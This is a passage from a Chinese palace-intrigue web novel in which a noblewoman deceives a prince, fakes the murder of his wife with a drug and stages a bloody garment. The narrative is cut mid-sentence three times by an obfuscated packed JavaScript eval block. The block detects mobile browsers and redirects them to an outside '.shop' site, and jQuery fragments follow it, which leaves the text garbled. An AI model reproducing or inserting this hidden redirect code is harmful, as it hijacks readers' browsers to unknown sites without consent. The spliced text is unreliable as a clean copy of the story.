穆归礼脸色铁青,怀着一丝侥幸快步跑进那间屋子。 结果自然让他十分失望。 江御暮紧随其后,也走进屋来。 看到空空如也的破床,她的声音甚至颤抖起来。 “穆归礼,你不是说,今日就能带我见到他么?” 穆归礼喉结滚了一滚,终究不知该说些什么。 江御暮走到他面前,与他对视。 “你说实话,江连镜是不是早就被你杀了?” 江御暮这招先发制人,就是为了赶在对方怀疑自己之前,先把脏水泼到对方头上。 一旦他陷入自证陷阱,就很难跳出来客观看问题了。 穆归礼自觉冤枉,辩驳道:“怎么可能?本王杀他有何好处?” 江御暮满目失望,后退几步:“穆归礼,我现在真的不知道,还能不能信任你了……” 24. 狡小姐冷语诉疑心,毒王爷接连落…… 穆归礼显然慌了神,用力抓住江御暮的双臂,咬牙道:“你不是自称并不在乎江连镜的死活吗?” 江御暮挣脱他的双手,直直盯着他道:“对,不在乎。但你若当真擅作主张杀了他,便等同于违背诺言,撕毁契约。换句话说,你很有可能从一开始就不是诚心与我合作!” 言外之意便是:她在乎的,从来都只是他的“诚心”。 穆归礼懊恼地往床上坐去,狠狠抓了抓脑后的头发,抬头看着她道:“我没有,我真的没有做过……也许是江连镜自己逃了,或者,也许是有人救走了他……” 江御暮冷笑一声:“救他?江连镜回京被擒之事,连我爹都被我蒙在鼓里。除了他,还有什么人会费心救江连镜?就算有,那人又怎么能找到这间院子?除非,是你们王府有人泄密,或出了内鬼。” 穆归礼自顾自摇着头,坚定道:“不可能,此事只有我的心腹知晓内情,他们绝不会向外人泄密!一定……一定是江连镜自己逃了!” 江御暮走到床边,装模作样去看床架四角上的四条绳索,下结论道:“这绳子明显是被利刃砍断的。江连镜四肢都被牢牢束缚,凭他自己一人如何做得到?还有,门外的铁锁也是被人强行破坏的,这又如何解释?” 穆归礼脑内已是一团乱麻,几乎没了深入思考的耐心,只焦躁道:“先别管他是怎么逃的了,把人抓回来才是正经!江连镜知晓你我二人合谋毒害太子之事,万一出逃后将此事宣扬出去,咱们就有大麻烦了!” 语毕,他起身欲走,却被江御暮拦住。 她一脸恨铁不成钢道:“慌什么慌?江连镜怎么可能告发我给太子下毒之事?难道他想害江家九族一起给我陪葬么?” 闻得此语,穆归礼才冷静了几分:“对,对,是这个理!” 江御暮与他对视,严肃道:“先找找附近有无其他线索吧。” 语毕,二人分头行动。穆归礼去门外查看情况,江御暮留在屋内佯装搜查。 少顷,门外就传来穆归礼的叫喊声。 “有发现!你快来瞧!” 江御暮快步赶去,果见他从地上捡起她特意留下的,已经燃尽的一筒迷香。 “这是什么东西?”江御暮假装不知,接过来上下左右转着圈查看一番,看完还作势要去嗅闻。 穆归礼连忙按住她的动作,阻拦道:“别闻!这是迷香!” 江御暮一惊,看似半信半疑地合上香筒盖子,把它抛还给穆归礼,又问:“你怎么看出来的?以前用过?” 穆归礼解释道:“没用过这种装在细筒里的,不过,从里头残留的香灰特征来看,这必是迷香无疑。” 江御暮慢慢踱步道:“你是想说,有人用这迷香迷晕了你的护卫,然后闯进屋中,救走了江连镜?” “正是!”穆归礼急忙点头,“如此,便可洗清本王的嫌疑了吧?江小姐试想,本王若要杀江连镜,直接当着护卫的面,用钥匙开门进屋就是了,有何必要先用迷香迷晕自己的护卫,再用利器砍坏门锁呢?” 江御暮倒打一耙:“也许,这是你故意留下的‘破绽’,就是为了在被我怀疑时,用方才那番话堵住我的嘴呢?” 穆归礼还是头一回体验到被人冤枉,百口莫辩的感觉,立时有些气急败坏,抬脚踹向倒地昏迷的两名护卫。 “起来!没用的废物!都给本王起来回话!” 然而那迷药的后劲实在太大,这样的动作也叫不醒他们。 穆归礼怒火更盛,直接用暗器分别向二人眉心打去。 在剧痛的刺激之下,二人终于悠悠醒转,意识清晰以后缓慢睁开双眼。 看到穆归礼,二人立时一惊,忙不迭翻滚着跪下请罪:“王爷饶命!是卑职无能,没能看好人质……” 穆归礼急于自证清白,厉声问道:“说!昨晚究竟发生了什么?” 一人颤抖着答道:“回禀殿下,作夜卑职二人刚换班不久,就被一阵不知自何方而来的迷香迷倒,无……无力抵抗……” 穆归礼见这个答案与自己的猜测完全一致,顿时如获至宝,转头向江御暮看去,却见她依旧是一副冷漠神色。 是啊,这两人都是他的护卫。也许在她眼里,这份口供也是他们提前准备好,用来蒙骗她的吧。 面对此情此景,他破天荒头一遭地放低了姿态,走近她低声问道:“江小姐,本王到底要如何自证,才能让你相信,本王真的没有擅自杀害江连镜?” 江御暮抬头看他,云淡风轻道:“其实你根本无须证明这一点,我要你自证的,只有你与我合作的诚意。只要诚意够了,哪怕你擅杀一百个江连镜,我也乐得在旁边喝彩叫好。” 穆归礼一头雾水:“诚意二字虚无缥缈,我又能如何证明给你看?” 江御暮认真道:“诚意虚无缥缈,利益可是落在实处的。既然我已经帮你推了太子一把,那么你是不是也该有所行动,给我还一份礼呢?” 穆归礼轻松一笑:“当然!要多少银子,你开个价吧!” 江御暮嗤笑一声:“穆归礼,你是真傻还是装傻啊?我当初愿意跟你合作,为的不就是坐上未来的太子妃之位么?怎么事到如今,你却打算用银子来搪塞我呢?” 穆归礼恍然大悟,解释道:“本王并非存心搪塞,只是……休妻之事还需从长计议。” 江御暮不悦道:“还有什么好议的!满京城里,谁不知你那个王妃出身小门小户,背后半点倚仗都没有。你这堂堂王爷若要休妻,难道还怕她娘家势力翻脸不成?” 穆归礼见状,也知道现在若不说实话,定然难以安抚住江御暮。她毕竟是他夺嫡之路上的重要盟友,绝不能出任何岔子。 于是他长叹一声,解释道:“江小姐有所不知,王妃手里捏着本王的一个把柄,一旦让父皇知晓,本王就没希望做太子了。” 江御暮满不在乎道:“这还不简单,你杀了她,不就万事大吉了?” 穆归礼沉重地摇摇头,叹息道:“事情若真如此简单就好了。那毒妇为了保命,把本王的把柄告知了那个名唤青萝的神秘人。一旦她身死,青萝就会把一切告知我父皇,断绝本王的夺嫡之路。” 江御暮假作顿悟之状:“哦……青萝,就是你那天向我打听的,疑似为太子一党,男女不明的那人?” 穆归礼眉头都快拧成了麻花:“正是。” 江御暮想了想,忽而警觉起来:“穆归礼,我不问你的把柄是什么。我只问,除了安王妃和青萝,还有没有人知道你的把柄?” 穆归礼有些心虚,强装笃定道:“应当……再没有旁人知晓了!青萝虽是太子的人,但是为了保住王妃的性命,肯定不会提前将此事告知太子。” 穆归礼知道,江御暮现在愿意跟他合作,皆因押宝他会成为下一任太子。 可他的把柄是个大雷,随时都有爆炸的风险。一旦江御暮认定这个风险过大,难以控制,她肯定会趁着还未成婚,立刻弃他于不顾,转而去其他皇子那里寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13153238|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找机会。 不,他绝不能让这种事发生,一定要尽快用婚事与她牢牢绑在一起。她,和她父亲手里的户部,他都势在必得。 “也罢,本王现在就回府,修书一封,休弃王妃!” “等等!”江御暮拦住他,“保险起见,你还是先除掉青萝再休妻,或者直接将她二人一网打尽吧。” 穆归礼苦恼道:“查了这么久,一点线索也无,你让本王如何除之?” 江御暮轻啧一声:“你就不能变通变通?王府里规矩多,王妃日复一日大门不出,二门不迈,你当然查不到线索了。” 穆归礼眼睛一转:“江小姐的意思是……?” “找个借口,赶她出门。”江御暮向他凑近半步,放轻声音道,“到时派人在后头悄悄跟着,看她往什么地方去,不就有线索了?” 穆归礼思忖片刻,觉得此法可行,赞同道:“好,就这么办!只是……本王若骤然赶她出府,实在有些反常,一旦她有所怀疑,肯定会刻意乱走乱逛,不给我们留下线索。唉,还得想个合理的借口才是……” 江御暮轻笑一声,伸手挽上他的胳膊,柔声道:“安王殿下带新欢回府,与王妃起了口角之争,一怒之下,将王妃赶出王府,不是很合理么?” 穆归礼胳膊一僵,挤出一个微妙的:“嗯,此法甚好。” 他的心里却在说:万一纪青元破罐破摔,当着江御暮的面说出他的秘密,那就麻烦了。 不行,得想个办法堵住她的嘴。 可是,能有什么办法呢? 穆归礼想了一路,也没有丝毫头绪。 直到已经站在王府内院门前,他才对江御暮说:“江小姐不妨在此处等候片刻,本王先去跟王妃铺垫两句。” 所谓铺垫,指的自然是威胁纪青元,让她管住嘴,不要在贵客面前胡言乱语。 江御暮却不给他这个机会,蹙眉道:“都到这个节骨眼上了,你却要甩开我,单独行事,很难不让人怀疑你的诚意啊……” 诚意二字像是踩中了穆归礼的死穴,使他再也不敢找借口搪塞,只得挽着江御暮的手一起走进内院。 丫鬟们见他牵着另一个女人,耀武扬威地走来,心中难免惊诧,却不敢抬头多看,纷纷跪下行礼。 “王妃可在屋中?”他问。 “回禀王爷,在。” 丫鬟答完不由腹诽:净问废话,王妃不在屋中,难道还能长出翅膀,飞走了不成? 紧接着,又听穆归礼冷冷道:“去,叫王妃出来见客。” 丫鬟规规矩矩答了声“是”,心里却又吵嚷起来——不知这女子是何许人也,王爷竟如此抬举她。 穆归礼目送丫鬟进门,微微用力一捏江御暮的手,面无表情道:“一会打算怎么演?” 江御暮偏头看向他,正要开口答话,却听屋内传来丫鬟的尖叫之声。 那声音仿佛没有尽头,一段接着一段,惊惧交加。 穆归礼心道不妙,厉声吼问:“何事如此慌张!?” 丫鬟逃也似推开门板,跌跌撞撞向江穆二人跑来,眼神难以安定,口中含糊不清地说着什么。 穆归衡一再逼问,她才结结巴巴地吐出几个字。 “王、王妃她、被、被人杀了!” 穆归礼只觉心跳一滞,紧接着难以控制地加速起来。 他推开丫鬟,疾步向屋内跑去。 江御暮却在身后不紧不慢地走着,嘴角挂起一丝若有似无的弧度。 25. 纪青元诈死离王府,江连镜女装扮…… 屋内,纪青元倒在地上,长长的披帛在颈部缠绕几圈,边缘露出若有似无的浅红勒痕,触目惊心的血色从唇角淌下,蜿蜒流向地面。 “怎么会这样……怎么会这样!?” 一波未平一波又起,穆归礼几乎站不稳了,嘴里反复念叨着这句话。 江御暮代他向花容失色的小丫鬟发问:“今日有可疑之人来拜访过王妃吗?” 小丫鬟吓得只知摇头:“没、没有!奴婢一直、一直守在院门口,可、可以确定没有外人来过。” 穆归礼怒喝道:“糊涂东西!你守在院门口有什么用!?但凡凶手会点轻功,便可翻墙入院!” 说罢,他踉跄着扑向一边,想探一探纪青元颈部的脉搏,于是手忙脚乱地撕扯着“凶器”,然而那披帛越扯越乱,她的脉搏尚未探到,他的心脏已然快从喉咙里呕出来了。 江御暮走到他旁边,蹲身拉起纪青元的一只手,在其内腕按压片刻,紧接着摆出一副失望神情,冲穆归礼慢慢摇了摇头,叹息道:“的确已经死了。” 穆归礼不敢相信,也不愿相信,急匆匆从她手中夺过纪青元的手,按在脉上求证她的说法。 但他的手一直在抖,也许是因为紧张,也许是因为恐惧,总之难以平静下来,更难探出纪青元的脉搏是否仍有微弱跳动。 大脑一片空白之际,门外又传来老管家的声音。他气喘吁吁,似乎跑了好一段距离。 “殿下!府外!府外……” 他欲言又止,抬头望了望江御暮,不作声了。 穆归礼满腹怒火无处发泄,没好气道:“有话就说,有屁就放!” 老管家应了声是,快步进屋来至穆归礼面前,跪下回禀道:“府外有一女子叩门求见殿下,而且,她说她名唤青萝!” 一团乱麻卷入另一团乱麻,穆归礼无比烦躁,扔下纪青元的手,起身向老管家问道:“你可看清了,这女子与那夜的‘青萝’是否真为一人?” 老管家面露难色:“这……老奴不敢确保。那夜的青萝戴着面纱,蒙住了半张脸。今日的青萝戴着帏帽,遮住了整张脸,实在难以分辨面容。至于声音……老奴也有点记不清了。不过,她今日穿着与那夜一模一样的衣裙,这一点老奴可以确认。” 穆归礼攥紧拳头,厉声吩咐道:“放她进来!让护卫们埋伏在暗处,务必活捉此人!” 这时,江御暮已经在桌边落座,给自己倒了杯茶。 穆归礼坐在她近旁的位置,焦躁不安道:“这个一向神出鬼没的青萝,为何会在此时自投罗网呢?” 江御暮晃悠着茶杯道:“抓住她以后,审一审不就知道了?” 穆归礼丝毫不敢放松警惕:“无论如何,都不能让她知道王妃的死讯,咱们得尽快把尸体处理掉!” 江御暮抿一口茶,悠悠道:“急什么?难道她还能打进这屋里不成?” 奈何穆归礼今日诸事不顺,此刻更是说什么来什么,不多时,就听老管家在门外大喊道:“不好了,王爷!护卫们拦不住那女子,她已经——” 声音戛然而止,老管家的脖颈被一把匕首抵住。 那头戴帷帽,自称青萝之人扣住他的肩,对他耳语道:“叫穆归礼出来见我,否则,我这便结果了你!” 老管家受了不小的惊吓,为了保命,只得高声向屋内喊道:“青、青萝姑娘求见殿下!殿下,求您救救老奴哇!” 穆归礼心道不好,对江御暮抱怨起来:“若不是你那日任性打伤本王所有护卫,他们今日怎么会拦不住区区一个青萝?” 江御暮冷笑一声:“你确定要现在跟我秋后算账,惹我不开心么?青萝已经在门外了,你若不出去,她定会直接闯进来。你若出去见她,也未必能拦住她进屋查看情况。王妃的尸体就在这,除了我,还有谁能帮你遮掩?” 穆归礼也明白这道理,他现在进退维谷,有求于人,少不得要弯一弯腰杆。 “是本王失言。”他痛快赔礼,又问,“你打算如何帮我?” 门外老管家还在呼喊,穆归礼骂了句粗话,扯着嗓子回道:“催什么催!让她侯着!” 江御暮顿了顿,佯装第一次进入这间屋子,对其构造毫不熟悉,问道:“这屋子可有后门?” 穆归礼答道:“没有。你若要避着青萝的视线离开,怕是只能走后窗了。” 这个建议正中江御暮下怀,她点点头:“也罢,我就背着尸体翻窗离开,幸而她的死状不算可怖,只要擦净了唇边血迹,便不会引来路人注目。青萝若问起王妃的下落,你直接推说她去我的书铺买书了,尚未归家便是。” 穆归礼连连点头,尽量稳住心神,让自己的表情看上去足够冷静,深呼吸几次,这才推门而出。 江御暮不敢再耽搁,连忙解下纪青元脖颈上缠绕的披帛,擦干净她面上的血痕,从怀中掏出一只小瓷瓶,取出一粒药丸喂她吃下。 来不及等药效发作,江御暮背起纪青元,从后窗出了此屋,继而翻墙离开王府,步履如飞,向江府赶去。 且说王府内,穆归礼出了房门,只见老管家被一青衣人挟持着,两股战战。 “你就是青萝?”他问。 青衣人收起匕首,推开老管家,笑道:“正是。” 那声音还算细柔,但穆归礼一听就知道,那是男人掐着嗓子,伪装女人的声音。 他定了定神,接着问道:“你来叩访本王,意欲何为?” 青衣人从护臂中取出一张整齐折叠着的纸条,夹在两根手指之间,说道:“今日一早,有人传信于我,说安王妃已然惨死于安王殿下之手。兹事体大,我不敢轻信,自然要眼见为实。” 穆归礼面色不善:“是何人给你传的此等荒谬之信?敢污本王清白,简直其心可诛!” 青衣人收起纸条,答道:“我也不知传信者是何人。既然殿下自称无辜,那就让我见一见安王妃吧。只要能确认她还安好,我便不会与殿下为敌。” 又来一个神秘人?有完没完了!? 穆归礼在脑中飞速复盘着今日的遭遇,一个结论渐渐成形——他身边一定出了内奸! 这内奸先救走江连镜,借此挑拨他和江御暮的关系。 紧接着又杀死纪青元,还给青萝传信说他是凶手,目的必然是借青萝之刀,杀死他争储的希望。 好毒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165270|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的计策,好深的城府。 这内奸一定是他的心腹!否则怎么会对他身边的人和事了如指掌? 想到这里,穆归礼强装镇定,按照江御暮教他的话术说道:“王妃今日一早便出门了,说是要去东街的枕闲书铺买些书看,眼下尚未回府。你若想见她,直接去那书铺碰碰运气便是了。” 青衣人听到这个答案,便知江御暮的计划已然成功,于是不多纠缠,只道:“好,我这便去瞧瞧。希望殿下没有骗我,否则,你知道后果会是什么样的。” 穆归礼心底且慌且怒,却不敢对青衣人出手。 他知道自己的武功有几斤几两,既然护卫们合力伏击都抓不住此人,自己肯定也不是他的对手。 还好还好,穆归礼暗暗窃喜,自己手里还有江御暮这张底牌。 只要青衣人敢去枕闲书铺,凭江御暮的实力,定能关门打狗,瓮中捉鳖。 他只等着坐收渔翁之利便是了。 穆归礼哪里晓得,青衣人离开王府以后,根本没有去枕闲书铺,而是回到了江府,和江御暮等人汇合。 彼时纪青元正躺在江御暮的床上,由费红英帮她针灸,逼出余毒。 若问她体内毒从何来?那便要说回昨天夜里,江御暮交给江连镜的任务了。 “男扮女装?”他起初有些抗拒,“扮成什么人啊……” 江御暮抿唇一笑:“扮成我。” “啊?”江连镜失笑,细细琢磨一番,“倒也不是不行。但,扮成你做什么呢?” 江御暮简单答道:“趁夜潜入安王府,取得安王妃的信任,让她明日一早便伪装成被人杀害的样子。” “等等等等!”江连镜有些摸不着头脑,“我扮成你的样子,就能取得她的信任了吗?” “当然不能,她又不瞎,怎么会看不出你我并非同一人呢?”说着,江御暮轻轻在他的额头上戳几下,“你在她面前无需遮掩,就照实说——你是江御暮的弟弟,受托来救她离开王府。她若还有疑问,问什么,你答什么即可。” 江连镜仔细记下,又问:“你让她伪装成被人杀害的样子,这要求是不是过于笼统了?究竟该如何伪装?装成何种死法?难道都靠她自己发挥么?” 江御暮自信笑笑:“放心吧,她是个很聪明,很有主意的人,一点就通。这种事,我若要求太多,于她而言反倒是负累了。” 说着,她把一个小木盒递给江连镜。 “这是我请红英配的药,服下以后,不出半个时辰,人的呼吸和脉搏就会变得极为微弱。你把此药转交给安王妃,让她在合适的时机服下便可。” 江连镜收好木盒,确认道:“这药效听着实在让人忧心,不会造成什么无可挽回的后果吧?” 江御暮坦言道:“其实这药也算是一种‘毒’,咱们要利用的就是毒发时的症状。不过你大可放心,只要她能在毒发四个时辰以内服下解药,便无事了。” 此时此刻,费红英已经扎下最后一根针。纪青元额角汗珠直淌,吐出一口暗红色的血,猛地睁开了双眼。 江御暮用帕子帮她擦去毒血,笑言道:“恭喜纪小姐,终于重见天日了。” 26. 江御暮有心造血衣,穆归衡无意得…… 纪青元苏醒后的第一件事,便是痛痛快快地大哭一场。 这哭声既是守得云开见月明的喜悦,也是对过往命运的悲诉。 “我本以为,自己终究会死在王府里,早晚的。”她流着泪,轻声说道。 江御暮搬来凳子,坐在她床边,柔声道:“不,你要记住,安王妃纪青元已经死了,尸体被我抛去了乱葬岗。至于你,今后务必使用另一个全新的身份,而且最好能远离京城生活。” 纪青元擦干泪,支起半边身子看向她,说道:“大恩不言谢,我会把你的劝告记在心里。” 江御暮略显担忧地问:“你可有什么安全可靠的去处?” 纪青元垂下眼神摇摇头,很快又带着微笑抬眼道:“天地这么大,何处不能是去处呢?” 江御暮被她的笑容感染,心情也轻松了些,开诚布公道:“穆归礼随时有可能潜入江府找我议事,我就不留你在此多待了。” 纪青元表示理解,即刻便要翻身下床。 费红英在旁扶了一把,顺势塞给她一包药粉,说道:“一个人上路难免危险,你若遇到歹人,便将这药粉洒向对方的口鼻。” 纪青元奇道:“这是什么药?” “迷药。”费红英打算用个外行人也能理解的方式加以说明,“只消吸入一口,便能连睡三天。” 纪青元收好药粉,道了谢,又听江连镜在外敲响房门。 “江御暮,你要的衣服我取来了!” 江御暮打开门,见他仍穿着那身青色衣裙,忙吩咐道:“回去把你自己的衣服换上,现在这身脱下来,还给我。” 江连镜嬉皮笑脸道:“怎么,看我穿着你的裙子,不习惯啊?” 江御暮回以一笑,示威似的:“我打算捅这裙子一剑,还得见血。你要是愿意穿着它让我捅,我也没有意见。” 江连镜心下了然——她必是打算用这身破损浸血的衣裙来忽悠穆归礼,让他以为所谓的“青萝”已被她除掉。 “知道了,交给我吧,保证做得天衣无缝。”他把手里的布包抛给江御暮,转身跑走了。 江御暮回屋打开布包,里头整齐叠放着几套衣物。 “你若要出城,定然不能穿王府里的旧衣。”她对纪青元说,“这些都是我的衣服,干净的,你先拿去穿吧。” 费红英见状,忽又想起一问:“对了,纪小姐,你有盘缠么?” 纪青元点点头,跃下床掀开裙摆,取下她事先绑在大腿上的一只荷包。 那荷包颇有些分量,拉开一看,里头竟装着许多小金片,形状各异——有花瓣,有鱼鸟,有祥云。 都是她从首饰上拆下来的。 一晚没睡,拆了不少,且算作她的“小金库”吧。 换好衣服,纪青元便要离开。 江御暮心念一动,问道:“纪小姐,可否给我留下一封亲笔血书?” 纪青元一惊:“血书?需要我写些什么?” “安王妃临终时的泣血之言,对穆归礼荒唐行径的悲愤控诉。” 纪青元会意:“最主要的,还是用这封‘遗书’戳穿他的秘密,以待来日面呈陛下,对不对?” 江御暮点头轻笑:“正是。” 在积郁和长久的恨意驱使下,纪青元一挥而就,写下一封字字泣血的“遗书”,郑重交给江御暮。 “我能做的,也只有这点了。” 离开江府后,纪青元一路跟在费红英身边,扮作她药铺里的小伙计,顺利踏出了京城。 她们动作极快,江连镜不过换了身衣服,再回来时,屋内就只剩下江御暮一个人了。 他没有多问,只将“青萝”的衣物交还给她。 江御暮展开一看,此衣已被利刃捅穿几个窟窿,猩红的鲜血大片浸染开来。 是人血。 “你从哪弄来的血?”她问。 江连镜避而不答,反过来问道:“你就说,我这活做得漂不漂亮吧!” 江御暮拿着衣服仔细检查一番,没发现什么破绽,于是赞许道:“不错。” 江连镜面露喜色,探着脑袋靠近她问道:“既然如此,我是不是就顺利通过了你的考验,可以留在京城了?” 江御暮自然不会赖账,半答允道:“可以,只是不能留在江府,而且务必低调行事,万万不可让穆归礼察觉你的行踪,除非我另有指示。” 江连镜轻叹一声:“明白。” 毕竟在穆归礼的视角中,他目前还处于“离奇失踪”状态。更重要的是,江御暮对他的下落“一无所知”。 “那……我这便走了?”他问。 “等等。”江御暮难掩好奇,“你还没有回答我的问题呢。你从哪弄来的人血?” 江连镜若无其事地轻松一笑:“方才在安王府,我不是被那几个护卫伏击,跟他们打了一场嘛?劲使得太大,肩头的伤口裂开了。还好我特意在衣下缠了几层布带,没让穆归礼看出异状。” 江御暮连忙扔下手中物什,皱眉道:“伤口裂了怎么不早告诉我?方才红英在此,正好可以为你医治。你倒好,拖到现在才讲,她还不知什么时候能回京呢!” 江连镜抚了抚后脑,垂眸道:“又不是什么疑难杂症,没必要麻烦人家红英姐。你屋里不是一直备着药箱嘛……” 江御暮无奈一哼:“算你走运。去床上坐好,我给你上药包扎。” 江连镜乖乖照做。 上药期间,江御暮一言不发。 江连镜却受不了这种鸦雀无声的气氛,于是没话找话道:“欸,你和安王之间的纠葛,我大概能猜到七八分了——不过是他想利用你,却反过来被你算计,跟心腹们生出嫌隙不说,还赔上了王妃。但……你和太子之间,又是怎么一回事?” 满京城里,谁不知太子穆归衡最是不近人情。可是这样的一个人,为什么会同意配合江御暮做戏,甚至不惜装病装到皇帝眼前呢? 江御暮动作一顿,目光仍然定在他的伤口上,没有移开半寸。 “你不懂。”她说。 江连镜躲开她上药的动作,有些赌气道:“你什么都不说,我当然不会懂了!” 江御暮强行给他涂上药粉,语气毫无波澜:“有些事,就算我说了,你也不会懂的。” 江连镜被她避实就虚的态度噎得一愣,还以为她是在故意气他,于是以牙还牙,拿话刺她道:“总不至于真如街头巷尾的传言中所说,你有心攀附太子,想做太子妃吧?” 江御暮闻言抬眸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13179470|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,冷冷对上他的眼神,看得他渐渐有些心虚。 的确,方才那话说出来实在难听,江连镜自知失言,急忙找补道:“咳,我不是那个意——” “传言无误。”江御暮打断他的话,“你若想劝我改变心意,还是趁早收了这念头吧。” 江连镜见她毫不讳言,甚至开始怀疑自己是不是听岔了。 太子和安王放在一起,不就乌鸦站在煤堆上,一边黑吗?她既然对安王嗤之以鼻,又怎么会对太子…… “你、不是、你、啊?” 震惊之下,他讲话只能一个字一个字往外蹦。 江御暮十分利索地帮他包扎完毕,三两下拍去手上残余的药粉,不容置疑道:“你还是多操心操心自己的事吧,至少先找到住处再说。” 语毕,她起身朝门口走去。 江连镜心下不安,问道:“你要去哪?” 本以为江御暮不会回答,没想到她却停住了脚步,只是没有回头,仍然给他留下一个背影。 “去太子府,我早就与他约好的。” …… 穆归衡对外称病才不到两日,就有许多朝臣、宗室前来“探病”,或者说,打探消息。 但他统统谢绝不见。 因此,当潜藏在附近的眼线看到江御暮从大门走进太子府,都不约而同地吃了一惊。 即便在太子府内,知道穆归衡是装病的也只有石涅一人,和旺财一狗。 为了不露破绽,江穆二人此次会面的地点变成了太子“养病”的卧房,而非从前讲史的书房。 一见面,穆归衡就问出了他悬心已久的问题:“穆归礼同意放走你弟弟了吗?” 江御暮愁眉苦脸地摇摇头:“我弟弟又失踪了,而且似乎并不是穆归礼玩的把戏,他事先也毫不知情。从现场的情况来看,大抵是有人救走了他,却不知是何人所为。” 穆归衡丝毫没有起疑,只道:“无妨,在你找到他之前,我继续‘病’着就是了,以防穆归礼那边再生出什么变数。” 江御暮叹息一声:“穆归礼那边,已然生出变数了。” 穆归衡担忧道:“什么?” 江御暮面露悲戚之色:“今日一早,我和穆归礼寻不到我弟弟,便同回他府中商议对策。谁知……竟发现安王妃被人杀害了!也不知凶手是何人,会不会与救走我弟弟的那人同为一人……” 穆归衡越听越心惊:“这两件事,现场就没留下什么线索么?” 江御暮深吸一口气,直视他的双眼道:“我在安王妃身上发现了一封血字遗书,悄悄带了出来,没让穆归礼察觉。” 说着,她从袖中取出那封新鲜的血书,递给穆归衡。 穆归衡却没有接,问道:“你可看过这遗书的内容了?万一言及安王妃的私隐,我还是不读原文为好。即便斯人已逝,我身为男子,也该避嫌。” 江御暮把那血书放在桌上,沉沉道:“我读过了。这封遗书里,字字都是对穆归礼的控诉。甚至……还写明了安王妃所知的,他最恐惧的把柄。” 穆归衡定定望着那满是褶皱,背面透着红色字痕的书信。 江御暮柔声引导:“【手足相残】的系统任务,也许正可以用它来完成,不是吗?” 27. 假血衣化作定心丸,真黄金招徕辅…… 江御暮的本意是让穆归衡把这封血书呈交皇帝,若皇帝问起此书来路,就推说是安王的贴身护卫所奉。 如此一来,在助他完成任务的同时,还能进一步挑拨穆归礼与诸位心腹的关系。 二人商议之际,系统却忽然插话。 “告密而已,怎算得了【手足相残】?即便尔等计划成功,本系统也不可判定任务完成。” 穆归衡转述此语后,江御暮一怔,追问起:“你倒让它说说,这个任务有何具体要求,如何才能完成?” 系统很快组织好语言,答道:“上策自是效仿玄武门之变,亲手弑兄。中策则是暂且隐忍蛰伏,待登基后再将其削爵、圈禁、或赐死。不过,万万莫忘,任务时限只有短短一年,尔当尽快筹谋才是。” 穆归衡听完,简直一个头两个大。 江御暮则心念一转,既然此路不通,那就换个思路。 “看来,这封血书对你已经没有用处了?”她问。 穆归衡想了想,点头道:“既然完不成任务,我也没必要把它交给父皇,跟穆归礼撕破脸。” 于是江御暮拿回那封血书,收入怀中:“也罢,那便由我来保管它吧。穆归礼若再对江家下手,它也许能派上用场。” 穆归衡自然没有意见。 江御暮回府后,将血书藏在床下的暗格之中。来不及休息一刻,又带上“青萝”的血衣去找安王。 穆归礼一听来者是她,连忙让人恭恭敬敬地请进府中,还亲手奉上好茶。 江御暮把血衣扔给他,擦着手说:“验验吧。” 穆归礼检查一番,喜道:“这是青萝的衣物,你当真替本王除掉了他?” 江御暮坐在上座,品一口茶后才回答:“我还以为他有多强呢,与他交了手才知,也不过如此嘛。我若是你,就该好好查查那些护卫,保不齐他们与青萝早有勾连,今早是故意放水,才让他吓到了你。” 穆归礼听她这么一说,心中愈发生疑。看来,是得好好查一查身边的人了。 江御暮放下茶盏,起身道:“若无旁的事,我就先回府了。” 穆归礼正在走神,听见她讲话,下意识应了一声。 待她的身影从他眼前闪过,他又忽然反应过来,急忙起身阻拦:“等等!” “还有事?”江御暮问。 穆归礼明显有些迟疑,试探道:“青萝死前,可曾将本王的把柄告知于你?” 江御暮未加思索便答道:“说了。” 穆归礼脸色一变:“他都说什么了?” 江御暮唇角一弯:“你当真要我把窗户纸捅破么?” 穆归礼死死盯着她,似乎想透过眼神判断她的态度。 “行了,别紧张。”江御暮拍拍他的肩,“你觉得,我会在乎这些么?” 穆归礼心中一喜,面上的表情却不敢放松,非得向她再求证一遍:“你当真不在意么?” 江御暮耸耸肩:“你我之间的合作,从来就与男女之情无关,不是么?” 穆归礼像是吃下了一颗定心丸,长舒一口气。 他正要说些什么,江御暮却又开了口,语气也变得严肃起来。 “但是有些事,我也要事先与你讲明白——日后,你若再如此大意,让外人知晓你的秘密,我可不会再帮你遮掩了。管他什么赤橙黄绿蓝紫萝,你都自己对付去。” 穆归礼重重点头:“江小姐放心,本王绝不会再如此大意。” “那便好。”江御暮语毕转身欲走。 